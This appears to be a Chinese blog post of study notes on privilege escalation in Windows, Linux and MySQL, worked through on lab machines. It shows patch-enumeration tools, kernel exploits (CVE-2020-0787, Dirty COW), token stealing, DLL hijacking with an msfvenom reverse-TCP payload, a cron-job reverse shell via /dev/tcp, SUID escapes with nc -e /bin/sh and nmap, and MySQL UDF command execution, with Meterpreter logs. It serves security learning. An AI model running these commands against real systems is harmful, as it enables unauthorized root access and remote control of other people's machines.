权限提升_初探


在cmd中运行systeminfo
可以查看系统的信息。
https://www.yuque.com/weiker/xiaodi

在这里插入图片描述

信息收集

1、信息收集
可以采用一些cmd命令,收集系统信息。比如

● whoami:获得当前用户名
● whoami /priv:当前账户权限
● systeminfo:查看系统打了哪些补丁
● net user:列出用户
● net user UserName:查看关于用户的信息
● net localgroup:列出所有组
● Wmic qfe get Caption,Description,HotFixID,InstalledOn
● wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:“KB4131188” #直接找是否存在cve-2018-8120对应的KB4131188补丁

补丁筛选

通过收集靶机系统的补丁,查看系统的内核漏洞

方法一:vulmap

下载地址:https://github.com/vulmon/Vulmap
注意需要使用powershell运行,所以不太适用于在web方向提权。

方法二:wes

下载地址:https://github.com/bitsadmin/wesng/

使用systeminfo 得到靶机的系统信息,查看其打的补丁,将信息存储为systeminfo.txt文件。
使用下面的命令,得到靶机漏洞(在攻击机上运行即可)

wes.py systeminfo.txt -o systeminfo.csv

-o 表示输出,将内容输出到systeminfo.csv中

会提示下载chardet
在这里插入图片描述

方法三:windows vulnscan

下载地址:https://github.com/chroblert/WindowsVulnScan
解压后,将ps文件运行,即可扫描本机的补丁,得到一个json文件。
在这里插入图片描述

本地运行这个json文件(需要使用python),列出的即是可利用漏洞。
这里需要注意,python环境并不是要求靶机需要有,只要将WindowsVulnScan弄到靶机上运行,得到json文件后在攻击机上得出即可。
在这里插入图片描述

方法四,利用metasploit

利用post/windows/gather/enum_patches 模块 可以根据漏洞编号快速找出系统中缺少的补丁

设置获取的session即可运行。

MSF下还提供了 post/multi/recon/local_exploit_suggester 模块,该模块用于快速识别系统中可能被利用的漏洞

方法五,Windows Exploit Suggester

该工具可以将系统中已经安装的补丁程序与微软的漏洞数据库进行比较,并可以识别可能导致权限提升的漏洞,而其只需要目标系统的信息。
#更新漏洞数据库,会生成一个xls的文件,如下 2020-11-11-mssb.xls
python windows-exploit-suggester.py --update

#查看目标主机系统信息,保存为sysinfo.txt文件
systeminfo > sysinfo.txt

#然后运行如下命令,查看该系统是否存在可利用的提权漏洞
python windows-exploit-suggester.py -d 2020-11-11-mssb.xls -i sysinfo.txt

利用漏洞

通过前面的收集,找到靶机存在的漏洞,可以使用下面两种方式进行利用漏洞

msf

由专门的人员维护,更新不太快。不适合查找最新的漏洞。

特定exp

通过在网上搜索,比如浏览器,github,查看最新的漏洞。
也可使用kali自带的searchsploit

windows提权

利用CVE-2020-0787本地提权漏洞,在目标服务器执行BitsArbitraryFileMoveExploit.exe文件
下载地址:https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION/releases/tag/1
实验:在windows server2016中,
注意关闭杀毒软件和windows defender,防止文件被删除。
在这里插入图片描述
回车执行后,出现cmd框,输入whoami,查看当前用户,为system,成功越权。

在这里插入图片描述
而原来的用户为:administrator
在这里插入图片描述

本地权限提升-AT&SC&PS命令

AT

只针对win7之前的老系统,
使用at命令给系统添加一项作业,在特定时间打开cmd命令
因为这里打开的cmd是以system身份运行的,所以就会越权

at 15:13 /interactive cmd.exe
SC
sc Create syscmd binPath = "cmd /k start" type= own type= interact
sc start syscmd
PS

pstools是微软官方工具,是为windows提供的第三方工具库
下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
相关命令:

psexec.exe -accepteula -s -i -d cmd.exe

在这里插入图片描述

令牌窃取

在高版本中没用(2008之后没用),输入list_tokens -u 列出系统中已有的token。
发现有administrator,和system。
在这里插入图片描述
impersonate_token “xx” 使用xx的token

烂土豆

下面的实例是在win10中进行的。

烂土豆下载地址 https://github.com/SecWiki/windows-kernel-exploits
其中的MS16-075 即为烂土豆
利用令牌窃取和烂土豆,进行提权:
有时候令牌窃取的时候,使用list_tokens -u 的时候,显示如下,只有一个用户,无法进行令牌窃取,因为当前的用户权限比较低,查询出来的内容比较少,如果权限高的话就不需要烂土豆了。


meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM

Delegation Tokens Available
========================================
DESKTOP-QHKMNAK\30837

Impersonation Tokens Available
========================================
No tokens available

需要配合烂土豆:
将potato.exe 搞到目标主机上运行。

meterpreter > use incognito
Loading extension incognito...Success.
meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM

Delegation Tokens Available
========================================
DESKTOP-QHKMNAK\Administrator
NT AUTHORITY\SYSTEM

Impersonation Tokens Available
========================================
No tokens available

meterpreter > impersonate_token "NT AUTHORITY\SYSTEM"
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM
[+] Delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
meterpreter > whoami
[-] Unknown command: whoami
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 

注意:可能运行后还是一个用户,我的是:目标主机并没有开启其他账户,在目标主机,右键此电脑,在本地用户和组中可以看到。
在这里插入图片描述

dll劫持提权

有的windows 程序启动时需要加载dll文件,默认是查找应用程序加载时的目录,如果没有的话,就会从以下位置开始找
c:\windows\system32
c:\windows\system
c:\windows
工作目录
环境变量
信息收集:收集被攻击者电脑上的软件的信息,查看软件调用的dll文件,
利用工具:火绒剑。
有些鸡肋:必须攻击,必须经常使用软件,(启动软件后,软件会调用对应的dll文件)
mafvenom -p windows/meterpreter/reverse_tcp lhost= xxxx lport xx -f dll > /opt/xx.dll

不带引号路径问题

  1. 检查引号服务路径
  2. 利用路径制作文件并上传
  3. 启动,重启服务
  4. 调用成功

对于C:\Program Files\Some Folder\Service.exe文件路径中的每一个空格,
系统会认为空格前的是要执行的程序,利用优先级关系,首先会查找C:\Program.exe,如果没有就会查找C:\Program Files\Some.exe,最后查找C:\Program Files\Some Folder\Service.exe。

只要上传一个program.exe文件到c盘下,利用优先级关系,就会优先执行program.exe

检查引号服务路径

这里找到“c:\program files (x86)\”下的一个程序文件

wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

鸡肋:第三方软件没有完整配置路径。

linux提权

https://zhuanlan.zhihu.com/p/432182767

信息收集

  • 信息收集脚本:
    1. linenum:(一个sh脚本)
      下载地址:https://github.com/rebootuser/LinEnum

    2. linuxprivchecker:(一个python脚本)
      下载地址:https://github.com/sleventyeleven/linuxprivchecker

  • 提权脚本:
    1. linux-exploit-suggester.py:
      下载地址:https://github.com/mzet-/linux-exploit-suggester
    2. linux-exploit-suggester2.pl:
      下载地址:https://github.com/jondonas/linux-exploit-suggester-2/blob/master/linux-exploit-suggester-2.pl

cve-2017-16695

环境变量提权

需要在靶机中存在一个文件,这个文件具有suid权限,在执行这个文件会调用ps命令。

我们需要做的就是,把ps替换为sh,当点击这个文件执行ps,实际上执行的sh。

具体做法:
将/bin/sh 复制到/tmp/ps

cp /bin/sh /tmp/ps

给环境变量中添加 /tmp

export PATH=/tmp:$PATH

这时运行shell,就会执行ps,优先从环境变量中获得,而环境变量中的/tmp下有ps,这个ps实际是sh,所以就会执行sh。

ps可以是其他的指令,道理都是一样的。

环境准备:
编写文件,文件名为demo.c
在这里插入图片描述
将demo.c编译输出为文件名为shell:gcc demo.c -o shell
shell就是那个文件。

sudo chmod -s shell,给shell赋予suid位,

将/bin/sh 复制到/tmp/ps
添加环境变量:
export PATH=/tmp:$PATH
执行shell,提权成功。

定时任务

/etc/crontab
查看文件中内容,

* * * * * root test.sh

test.sh没有写绝对路径,则默认是/usr/local/bin目录下的文件。

test.sh文件如果是普通用户可写,则直接修改里面的内容。

#!/bin/bash 
bash -i >& /dev/tcp/192.168.175.130/4444 0>&1

suid:

http://t.zoukankan.com/Cccarl-p-6985143.html

设置位:S,主要的对X,使得其他用户拥有文件所有者的执行权限
沾附位:T, 主要是对文件夹,表示只允许文件的所有者和所属组的成员对文件执行相应操作。

使用下面命令在靶机中查找具有root运行权限的命令,并且这些命令可以打开shell,

find / -perm -u=s -type f 2>/dev/null     

下面列出可以打开shell的命令:

  • Nmap
  • Vim
  • find
  • Bash
  • More
  • Less
  • Nano
  • cp

只要靶机中有这些命令被赋予suid就可以提权

下面的命令是进行提权,使用的suid命令是find,查找的文件是flag4.txt(这个文件要存在),-exec是一个命令族,后面只要执行的命令,这里执行的是反弹shell

find flag4.txt -exec nc -lvp 2333 -e /bin/sh ;
下面的命令是在攻击机上执行的。
nc 192.168.45.129 2333 ,攻击机连接靶机2333端口,接收反弹shell

也可使用冰蝎进行反弹shell:

冰蝎下载地址:https://github.com/rebeyond/Behinder/releases

推荐:https://blog.csdn.net/Z526209693/article/details/125480346
在这里插入图片描述
使用冰蝎自带的shell.php进行反弹shell。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
手动输入查看有suid权限的文件。
在这里插入图片描述
下面是上传自动脚本,利用脚本查看系统中有没有

msf6 exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on 0.0.0.0:4444 
[*] Sending stage (39927 bytes) to 192.168.45.129
[*] Meterpreter session 1 opened (192.168.45.130:4444 -> 192.168.45.129:33654) at 2022-11-07 03:38:39 -0500

meterpreter > getuid
Server username: daemon
meterpreter > pwd
/opt/lampp/htdocs/sqli-labs
meterpreter > upload /home/kali/D
Desktop    Documents  Downloads  
meterpreter > upload /home/kali/Desktop/LinEnum.sh /tmp/LinEnum.sh
[*] uploading  : /home/kali/Desktop/LinEnum.sh -> /tmp/LinEnum.sh
[*] Uploaded -1.00 B of 45.54 KiB (-0.0%): /home/kali/Desktop/LinEnum.sh -> /tmp/LinEnum.sh
[*] uploaded   : /home/kali/Desktop/LinEnum.sh -> /tmp/LinEnum.sh
meterpreter > shell
Process 44759 created.
Channel 1 created.
id
uid=2(daemon) gid=2(daemon)=2(daemon)
cd /tmp
ls
hsperfdata_root
jnLogGlobal.log
LinEnum.sh
VersionControl_New.dat
vscode-typescript0
./LinEnum.sh
/bin/sh:行4: ./LinEnum.sh: 权限不够
chmod +xz
chmod: "+xz" 后缺少操作数
Try 'chmod --help' for more information.
chmod   +xz LinEnum.sh
chmod: 无效模式:"+xz"
Try 'chmod --help' for more information.
chmod +x LinEnum.sh
./Linenum.sh
/bin/sh:行8: ./Linenum.sh: 没有那个文件或目录
^[[A^[[B
/bin/sh:行9: $'\E[A\E[B': 未找到命令
./LinEnum.sh

#########################################################
# Local Linux Enumeration & Privilege Escalation Script #
#########################################################
# www.rebootuser.com
# version 0.982

[-] Debug Info
[+] Thorough tests = Disabled


Scan started at:

在靶机上运行,发现有有两个具有suid提权漏洞,其中一个就是namp
在这里插入图片描述
nmap –interactive –运行nmap交互模式
!sh –我们可以从nmap shell转到系统shell

msfadmin@metasploitable:/tmp/LinEnum-master$ nmap --interactive

Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> ! sh
sh-3.2# id
uid=1000(msfadmin) gid=1000(msfadmin) euid=0(root) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
sh-3.2# id
uid=1000(msfadmin) gid=1000(msfadmin) euid=0(root) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
sh-3.2# exit
exit
system() execution of command failed
nmap> exit
Quitting by request.
msfadmin@metasploitable:/tmp/LinEnum-master$ sudo nmap --interactive

Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> ! sh    
sh-3.2# id
uid=0(root) gid=0(root) groups=0(root)

sudo

在用户中输入sudo -l 查看当前用户允许的sudo命令。

执行下面命令进行提权

sudo find /etc/passwd -exec / bin / sh \;

lampiao靶场

靶机的下载地址:https://vulnhub.com/entry/lampiao-1,249/#download
将kali和靶机置于同一网段,是用nmap扫描网段,确定靶机的ip为192.168.120.137
再扫描靶机的端口,使用浏览器:

在这里插入图片描述
访问网页发现其cms为 drupal ,可以在网上搜索其相关的漏洞,也可利用msf自带的。
在这里插入图片描述
下面是用msf 查找drupal 漏洞,编号1的可以使用。

在这里插入图片描述
show options 查看必须要写的参数,设置号后即可运行。

在这里插入图片描述
在这里插入图片描述
运行后此时是一个普通用户。
将信息收集的工具利用msf上传靶机。
执行脚本,利用exploit脚本查看靶机的漏洞,发现有脏牛漏洞。

在这里插入图片描述
https
利用wget将cve下载在kali本机中,再利用msf将其上传到靶机上。
(下载后文件名是一个数字,将其重命名为*.cpp即可。为啥不直接在靶机下载,因为下载后的文件需要重命名)。

下面是把dirtycow.cpp上传到靶机的 /tmp 目录中
然后输入shell,切换到靶机shell中,执行下面命令,进行gcc编译。编译后的文件名为dcow。

g++ -Wall -pedantic -o2 -std=c++11 -pthread -o dcow dirtycow.cpp -luti

在这里插入图片描述
下面的利用python开启一个伪终端,

python -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述

数据库提权

信息收集

信息收集的主要目的是获取数据库的账号密码

配置文件

网站的配置文件中有存储用户的信息。

存储文件

数据库的文件中有存储用户信息。
/data/数据库名/表名.myd

暴力破解

使用工具在本地破解,所以要支持破解的用户支持外联,
否则就要上传爆破脚本进行在目标机中破解。

mysql

udf

udf原理:
在数据库中的查询就等价于在cmd或者shell中执行命令。

udf的设计初衷是为了方便用户自定义一些函数,方便查询一些复杂的数据,同时也增加了使用udf提权的可能。攻击者通过编写调用cmd或者shell的udf.so或udf.dll文件,并且导入到一个指定的文件夹目录下,创建一个指向udf.so或udf.dll的自定义函数,从而在数据库中的查询就等价于在cmd或者shell中执行命令。
udf提权本质上并不是真正意义上的提权,只是通过当前mysql的运行权限去执行系统命令,如果mysql运行权限太低的话同样也没有特别大的意义。

注意:mysql < 5,1 导出目录c:/windows或system32
mysql => 5.1 导出mysql下的/lib/plugin

在获得数据库的密码后,要求是root的账户,在root账户下可以看到所有的数据库。使用root账号连接时,数据库的地址写为本地(root账号默认是不支持外联,如果支持外联,也是可以),如果使用root账号外联,也是可以连接的,但是只有默认的数据库,无法查看所有的信息。

select @@basedir 查找数据库的安装路径
在这里插入图片描述
show globa variables like “%secure%”
查找secure
secure_file_priv值为null,表示mysql不允许导入,导出,
在这里插入图片描述
select @@ plugin_dir 查找plugin目录的路径,
在这里插入图片描述
给mysql的plugin目录中上传一个配置文件,(如果目标机时windows,配置文件后缀.dll,如果是linux,后缀是so)

配置文件可以在sqlmap中找到,目录为:sqlmap\data\udf\mysql下,分为linux和windows。
以linux的64位为例:

在这里插入图片描述
由于sqlmap中的shell,exp,免杀,都经过了编码,不能直接使用,需要解码,解码使用的是sqlmap自带的cloak.py。路径如下图:
在这里插入图片描述
输入以下命令就会在lib_mysqludf_sys.so_的同一目录中生成一个lib_mysqludf_sys.so。
在这里插入图片描述
如下图所示
在这里插入图片描述
上传so文件到靶机的指定目录,
就是上传到mysql的 lib\plugin目录中,我使用的xampp搭建,要上传的目录是/opt/lampp/lib/mysql/plugin 目录

上传方式:

  1. webshell直接上传,
  2. 以hex方式上传
    webshell上传如下图:
    在这里插入图片描述

hex编码上传:
将要上传的so文件利用mysql的hex函数进行转换,
select hex(load_file(‘D:/network/sqlmap/data/udf/mysql/linux/64/udf.so’)) into dumpfile ‘c:/udf.txt’

在这里插入图片描述
在这里插入图片描述

将udf.txt 文件中的内容插入到数据库中,

创建一个表,名字为udf,用来存储udf.txt 文件内容。

create table udf(a blob)
BLOB (binary large object),mysql的数据类型,BLOB常常是数据库中用来存储二进制文件的字段类型
在这里插入图片描述

将udf.txt 中内容插入到udf中。

INSERT INTO udf values(unhex(‘udf文件的16进制格式’))

在这里插入图片描述

select a from udf into dumpfile ‘/opt/lampp/lib/mysql/plugin/udf.so’

这里使用的是dumpfile,是要把数据原样子输出,要区分outfile,dumpfile。
在这里插入图片描述
create function sys_eval returns string soname ‘udf.so’
创建函数sys_eval,指向usf.so文件,udf.so文件,可以调用cmd,shell 命令。
最终实现在数据库中执行系统命令。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在对linux的靶机操作,最后得到的用户是mysql,这是系统定义的用户,但是不具备最高权限,
在widows中,刚开始是用普通用户启动的靶场,在webshell中查到的也确实是,
在换为管理员后,在webshell中查到的也换了。
删除自定义函数:
DROP FUNCTION function_name

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值